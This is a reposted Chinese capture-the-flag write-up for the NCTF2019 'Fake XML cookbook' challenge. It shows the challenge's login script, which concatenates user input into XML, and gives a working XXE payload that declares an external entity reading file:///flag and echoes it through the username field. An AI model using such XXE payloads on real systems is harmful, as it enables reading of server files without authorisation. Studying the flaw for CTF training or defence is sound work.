欢迎来到尧图网

客户服务 关于我们

您的位置:首页 > 科技 > 能源 > [NCTF2019]Fake XML cookbook [XXE注入]

[NCTF2019]Fake XML cookbook [XXE注入]

2025/4/2 3:51:30 来源:https://blog.csdn.net/2401_86190146/article/details/146723824  浏览:    关键词:[NCTF2019]Fake XML cookbook [XXE注入]

题目源代码 

 
function doLogin(){var username = $("#username").val();var password = $("#password").val();if(username == "" || password == ""){alert("Please enter the username and password!");return;}var data = "<user><username>" + username + "</username><password>" + password + "</password></user>"; $.ajax({type: "POST",url: "doLogin.php",contentType: "application/xml;charset=utf-8",data: data,dataType: "xml",anysc: false,success: function (result) {var code = result.getElementsByTagName("code")[0].childNodes[0].nodeValue;var msg = result.getElementsByTagName("msg")[0].childNodes[0].nodeValue;if(code == "0"){$(".msg").text(msg + " login fail!");}else if(code == "1"){$(".msg").text(msg + " login success!");}else{$(".msg").text("error:" + msg);}},error: function (XMLHttpRequest,textStatus,errorThrown) {$(".msg").text(errorThrown + ':' + textStatus);}}); 
}

漏洞点: 

var data = "<user><username>" + username + "</username><password>" + password + "</password></user>"; 

可以自己构造xml语句填进去,导致xml注入,而且在TIPS中会显示(用户名)登录错误

会回显用户名,以用户名作为回显位,回显flag 

 构造payload,这样登录错误就会在<msg>里面显示用户名,但是用户名引用了XML外部实体,所以会显示file:///flag的内容

<!DOCTYPE note [<!ENTITY xxe SYSTEM "file:///flag">]>定义外部实体的名字以及地址

<!DOCTYPE note [<!ENTITY xxe SYSTEM "file:///flag">
]>
<user>
<username>
&xxe;   //注意这里有 ; 
</username>
<password>111</password></user>

一开始笨了吧唧的光在输入框里构造payload了,完全忘了还可以bp抓包,把<!DOCTYPE note [
  <!ENTITY xxe SYSTEM "file:///flag">]>放到前面去,任意修改位置 

 

版权声明:

本网仅为发布的内容提供存储空间,不对发表、转载的内容提供任何形式的保证。凡本网注明“来源:XXX网络”的作品,均转载自其它媒体,著作权归作者所有,商业转载请联系作者获得授权,非商业转载请注明出处。

我们尊重并感谢每一位作者,均已注明文章来源和作者。如因作品内容、版权或其它问题,请及时与我们联系,联系邮箱:809451989@qq.com,投稿邮箱:809451989@qq.com

热搜词